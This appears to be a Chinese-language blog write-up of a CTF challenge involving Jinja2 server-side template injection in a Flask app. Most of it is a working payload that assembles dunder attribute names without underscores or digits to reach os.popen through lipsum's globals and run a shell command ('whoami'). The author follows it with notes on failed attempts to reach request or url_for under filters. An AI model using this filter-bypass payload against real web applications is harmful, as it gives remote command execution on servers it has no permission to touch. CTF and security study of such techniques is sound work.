code={%set pop=dict(pop=a)|join()%}
{%set str=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join()%}
{%set under=(a|select|string|list)|attr(pop)(str|length())%}
{%set globals=under~under~dict(globals=a)|join()~under~under%}
{%set base=under~under~dict(base=a)|join()~under~under%}
{%set cmd=dict(whoami=a)|join()%}
{%set builtins=under~under~dict(builtins=a)|join()~under~under%}
{%set getitem=under~under~dict(getitem=a)|join()~under~under%}
{%set import=under~under~dict(import=a)|join()~under~under%}
{%set os=dict(os=a)|join()%}
{%set popen=dict(popen=a)|join()%}
{%set read=dict(read=a)|join()%}
{{lipsum|attr(globals)|attr(getitem)(builtins)|attr(getitem)(import)(os)|attr(popen)(cmd)|attr(read)()}}

这样已经可以getshell了,用lipsum很方便可以不用数字,但是shell命令不放在单独的一个请求参数里真的很难受。。。

试了很久,request被禁了,上一题意外发现url_for可以访问到request,但是这一题下划线又被禁了。。好家伙。下划线被禁了url_for也没法用,没错下划线被ban了是可以绕过,但是最后组成的也只是”url_for”这样一个字符串而已,并不是对象本身,那request和url_for都是全局对象,url_for能访问到request,然后就去找flask中别的全局对象,看看能不能用和上一题类似的方法访问到url_for或者request,都没成功。。作罢

{{lipsum.__globals__.__builtins__}}里也有chr函数

作者

Potat0w0

发布于

2023-02-09

更新于

2024-01-20

许可协议


评论